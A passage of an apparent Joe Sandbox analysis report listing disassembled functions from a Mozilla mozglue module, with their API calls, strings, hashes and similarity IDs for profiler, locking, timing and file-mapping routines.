_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4D4A68), ref: 6C50DE7B

Part of subcall function 6C5094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5094EE
Part of subcall function 6C5094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C509508

Part of subcall function 6C4FCBE8: GetCurrentProcess.KERNEL32(?,6C4C31A7), ref: 6C4FCBF1
Part of subcall function 6C4FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4C31A7), ref: 6C4FCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4D4A68), ref: 6C50DEB8
free.MOZGLUE(00000000,?,6C4D4A68), ref: 6C50DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C50DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C50DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C50E00E
<none>, xrefs: 6C50DFD7

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 71c636cd4304358367fc3c9cf8e3e02dc3e4bbf0ea8cd4d34c6328584ede9a6c
Instruction ID: b052968f374a846e66537f4ede8bf04e1c3cff5d56466a9a7609d32b12379e88
Opcode Fuzzy Hash: 71c636cd4304358367fc3c9cf8e3e02dc3e4bbf0ea8cd4d34c6328584ede9a6c
Instruction Fuzzy Hash: A6411331B01610DBDB10AF68DC08BAEB775FB8631CF058219E909C7B01DB31A805CBEA

Function 6C51D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C51D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C51D918
GetCurrentThreadId.KERNEL32 ref: 6C51D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C51D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C51D970
GetCurrentThreadId.KERNEL32 ref: 6C51D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C51D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C51D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C51DA2E
GetCurrentThreadId.KERNEL32 ref: 6C51DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C51DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C51DA91

Part of subcall function 6C4E5C50: GetTickCount64.KERNEL32 ref: 6C4E5D40
Part of subcall function 6C4E5C50: EnterCriticalSection.KERNEL32(6C54F688), ref: 6C4E5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C51DAB7

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f1b5055f9de0efd813c8d3d7a47eb8c3ef0b5110da3da53bcc472de1aa9c78ff
Instruction ID: c62203c64a6b4b8a987d8dc2a2dd64e9e12f978962300bc45d0e0c675e6d8f10
Opcode Fuzzy Hash: f1b5055f9de0efd813c8d3d7a47eb8c3ef0b5110da3da53bcc472de1aa9c78ff
Instruction Fuzzy Hash: 33719E756043049FCB00EF29C888B5EBBF5FF89318F15856DE85A9B741EB30A944CB95

Function 6C51D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C51D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C51D52A
GetCurrentThreadId.KERNEL32 ref: 6C51D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C51D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C51D55F
free.MOZGLUE(00000000), ref: 6C51D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C51D5D3
GetCurrentThreadId.KERNEL32 ref: 6C51D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C51D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C51D652
GetCurrentThreadId.KERNEL32 ref: 6C51D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C51D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C51D6A2

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 353ec00d293833358704f286ddc2b3ba623266615b6b725f907f9cbe260382c4
Instruction ID: 8b7ac84b270c9605598df6f28e4f5ef264a7003cc0bd98d9f85f25aec7b92694
Opcode Fuzzy Hash: 353ec00d293833358704f286ddc2b3ba623266615b6b725f907f9cbe260382c4
Instruction Fuzzy Hash: 32518271604B05DFC704EF35C888A9ABBF4FF89318F01862DE85A87B11DB30A855CB95

Function 6C4C1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C54E784), ref: 6C4C1EC1
LeaveCriticalSection.KERNEL32(6C54E784), ref: 6C4C1EE1
EnterCriticalSection.KERNEL32(6C54E744), ref: 6C4C1F38
LeaveCriticalSection.KERNEL32(6C54E744), ref: 6C4C1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C4C1F83
LeaveCriticalSection.KERNEL32(6C54E784), ref: 6C4C1FC0
EnterCriticalSection.KERNEL32(6C54E784), ref: 6C4C1FE2
LeaveCriticalSection.KERNEL32(6C54E784), ref: 6C4C1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4C2019

Strings

MOZ_CRASH(), xrefs: 6C4C2000
DTl, xrefs: 6C4C1F56
DTl, xrefs: 6C4C1F32
\Tl, xrefs: 6C4C1F3E

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DTl$DTl$MOZ_CRASH()$\Tl
API String ID: 2055633661-4231833847
Opcode ID: 6aa49c918242ecc2f00e47bda332479da20268dd4ba1d4cbb66ee628ab8e3530
Instruction ID: 87bbbb0fff8cebf90fc26ada8900070b427fd0b2edac8aeef5955aa48a1e20fb
Opcode Fuzzy Hash: 6aa49c918242ecc2f00e47bda332479da20268dd4ba1d4cbb66ee628ab8e3530
Instruction Fuzzy Hash: 3A41D679B043558BDF00EF78CC88F6E7AB5EB8A35DF018129E91497745DBB098048BD6

Function 6C4E5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C4E56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4E56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C4E56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C4E5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C4E57BC
GetTickCount64.KERNEL32 ref: 6C4E58CB
EnterCriticalSection.KERNEL32(6C54F688), ref: 6C4E58F3
__aulldiv.LIBCMT ref: 6C4E5945
LeaveCriticalSection.KERNEL32(6C54F688), ref: 6C4E59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C54F638,?,?,?,?), ref: 6C4E59E9

Strings

MOZ_APP_RESTART, xrefs: 6C4E56CC

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: f1f835d13125ebe6410e5940ccfdf07eddcd39ce7f2113a1703117c2cbdbd564
Instruction ID: fd71d954092c4137ad2baa1297ddd43424779959c10a970528252b34e13325be
Opcode Fuzzy Hash: f1f835d13125ebe6410e5940ccfdf07eddcd39ce7f2113a1703117c2cbdbd564
Instruction Fuzzy Hash: E9C17C31A097509FD705DF28C840A6AB7F1BFCA719F168B1DE8C897761D730A885CB86

Function 6C50EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4D4A68), ref: 6C50945E
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C509470
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C509482
Part of subcall function 6C509420: __Init_thread_footer.LIBCMT ref: 6C50949F

GetCurrentThreadId.KERNEL32 ref: 6C50EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50EC8C

Part of subcall function 6C5094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5094EE
Part of subcall function 6C5094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C509508

GetCurrentThreadId.KERNEL32 ref: 6C50ECA1
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C50ECC5
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C50ED19
CloseHandle.KERNEL32(?), ref: 6C50ED28
free.MOZGLUE(00000000), ref: 6C50ED2F
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C50EC94

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 22df80c8088def91dda0c4b711511b4337eb9f5743fbc691f6351d82bc5ad4e0
Instruction ID: 7a59ea485423be68a8ba0fa51f7e84e5a82c1dde5dba4a23d7675b6868d9c7f4
Opcode Fuzzy Hash: 22df80c8088def91dda0c4b711511b4337eb9f5743fbc691f6351d82bc5ad4e0
Instruction Fuzzy Hash: 9121BF76700504ABDB00BF28DC08EAA7779FB8636DF218214F81897741DBB29815CBA5

Function 6C508ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C4CEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4CEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C50B392,?,?,00000001), ref: 6C5091F4

Part of subcall function 6C4FCBE8: GetCurrentProcess.KERNEL32(?,6C4C31A7), ref: 6C4FCBF1
Part of subcall function 6C4FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4C31A7), ref: 6C4FCBFA

Strings

timeline-memory, xrefs: 6C509088
data, xrefs: 6C5090E8
marker-table, xrefs: 6C50906C
marker-chart, xrefs: 6C50905E
stack-chart, xrefs: 6C5090B2
timeline-fileio, xrefs: 6C5090A4
timeline-overview, xrefs: 6C50907A
name, xrefs: 6C508F16
timeline-ipc, xrefs: 6C509096

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 9a62720c290a659d4055742a89ab1849f7106bad103c8ef80a7b474d4d949c8b
Instruction ID: f31e91ad254427e454a2ad42e3aac81ccd331f067b88db46c410404c4ef662eb
Opcode Fuzzy Hash: 9a62720c290a659d4055742a89ab1849f7106bad103c8ef80a7b474d4d949c8b
Instruction Fuzzy Hash: EAB1B1B0B012199BDB04CF94CC96FAEBBB5AF84318F10452DD405ABF84E731A945CBE1

Function 6C4EC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4EC5A3
WideCharToMultiByte.KERNEL32 ref: 6C4EC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C4EC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C4ECA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4ECA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4ECAA5

Strings

(null), xrefs: 6C4EC596
0, xrefs: 6C4ED30A

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 2ab7116b2d99c122afa762eaf43f78d701739f9593130934c8c164f005c93980
Instruction ID: aba935ff551dd2f0c20ac0281bcd3efa902dbf00095dfa299f0f9303d7ee0d0b
Opcode Fuzzy Hash: 2ab7116b2d99c122afa762eaf43f78d701739f9593130934c8c164f005c93980
Instruction Fuzzy Hash: 5EA178306093429FDB00EF28C954F5BBBE1AFC974AF06892DE89997751D731E805CB82

Function 6C4EC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4EC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4EC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C4EC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4EC891

Strings

nan, xrefs: 6C4EC7A8
INF, xrefs: 6C4EC794
inf, xrefs: 6C4EC78F
NAN, xrefs: 6C4EC7AD

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: d416bb9fb02c6ff9582249a1779ed0dae944cef5c76f0aeb3828aeac2d544b18
Instruction ID: 443b12e1e652eb6dc7b43ea9864561e32a94af9be965578a9d15d344a9a45215
Opcode Fuzzy Hash: d416bb9fb02c6ff9582249a1779ed0dae944cef5c76f0aeb3828aeac2d544b18
Instruction Fuzzy Hash: C05161706087408BD704EF68C581E9AFBF0BF9E30AF018A2DE9D597651E770D9898B42

Function 6C4C3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4C3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4C34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4C34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C4C350E
__Init_thread_footer.LIBCMT ref: 6C4C3522
__aulldiv.LIBCMT ref: 6C4C3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4C357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4C3592

Part of subcall function 6C4FAB89: EnterCriticalSection.KERNEL32(6C54E370,?,?,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284), ref: 6C4FAB94
Part of subcall function 6C4FAB89: LeaveCriticalSection.KERNEL32(6C54E370,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4FABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C4C3508
kernel32.dll, xrefs: 6C4C34EA

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: c52f9097373819068a43d8ab0e243476646f947bb3ff6ae0bb70e1a0bf0caf0d
Instruction ID: 9b64de896ff658fb87b5f5816648a8d08028d0dfc9b7f4e527a1c67fc94c800c
Opcode Fuzzy Hash: c52f9097373819068a43d8ab0e243476646f947bb3ff6ae0bb70e1a0bf0caf0d
Instruction Fuzzy Hash: 9631C175B002459BDF00EFB9CC48EAE77B5FB8631DF128119E505A3760EB70A905CB65

Function 6C4C4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C504843,?), ref: 6C4C45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C504843,?), ref: 6C4C468A
free.MOZGLUE(?,?,?,?,?,?,6C504843,?), ref: 6C4C46C9
free.MOZGLUE(?), ref: 6C4C46EF
free.MOZGLUE(?), ref: 6C4C4712
free.MOZGLUE(?), ref: 6C4C4735
free.MOZGLUE(?), ref: 6C4C4758
free.MOZGLUE(?), ref: 6C4C477B
free.MOZGLUE(?), ref: 6C4C479E

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: ea5285e49e6add9ee221d28a93bf8734b9595a789a29dfaa1a122b6159187e63
Instruction ID: 03ebdaa3d7f3ca997d54c2a5adbe619d0a84967af7e77a284569a1b0e1242552
Opcode Fuzzy Hash: ea5285e49e6add9ee221d28a93bf8734b9595a789a29dfaa1a122b6159187e63
Instruction Fuzzy Hash: D3B1E279B011108FDB18DF2CCAD0F7D76A1AF453A8F18166CE816DBBE6D73499408B92

Function 6C52AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C52AC52
CreateFileMappingW.KERNEL32 ref: 6C52AC7D
GetSystemInfo.KERNEL32 ref: 6C52AC98
MapViewOfFile.KERNEL32 ref: 6C52ACB0
GetSystemInfo.KERNEL32 ref: 6C52ACCD
MapViewOfFile.KERNEL32 ref: 6C52AD05
UnmapViewOfFile.KERNEL32 ref: 6C52AD1C
CloseHandle.KERNEL32 ref: 6C52AD28
UnmapViewOfFile.KERNEL32 ref: 6C52AD37
CloseHandle.KERNEL32 ref: 6C52AD43
CloseHandle.KERNEL32 ref: 6C52AD67

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 937a2ef3d58f120e9b9cb391161ed597cde5e0127f37f71466e5c8b2aca2aedd
Instruction ID: 2154db3fd9ad9efa85e2391a8b75602012df0b146c216303c64f679c9bbb094b
Opcode Fuzzy Hash: 937a2ef3d58f120e9b9cb391161ed597cde5e0127f37f71466e5c8b2aca2aedd
Instruction Fuzzy Hash: 5D315FB19047048FDB00FF7CDA4866EBBF0BF85309F02892DE99997251EB749458CB86

Function 6C4D9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4D9675
__Init_thread_footer.LIBCMT ref: 6C4D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4D9707
__Init_thread_footer.LIBCMT ref: 6C4D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4D9773

Part of subcall function 6C4FAB89: EnterCriticalSection.KERNEL32(6C54E370,?,?,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284), ref: 6C4FAB94
Part of subcall function 6C4FAB89: LeaveCriticalSection.KERNEL32(6C54E370,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4FABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4D97B7
FreeLibrary.KERNEL32 ref: 6C4D97D0
FreeLibrary.KERNEL32 ref: 6C4D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4D9824

Strings

NtMapViewOfSection, xrefs: 6C4D9701
MapViewOfFileNuma2, xrefs: 6C4D97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4D9670
ntdll.dll, xrefs: 6C4D96E3

Memory Dump Source

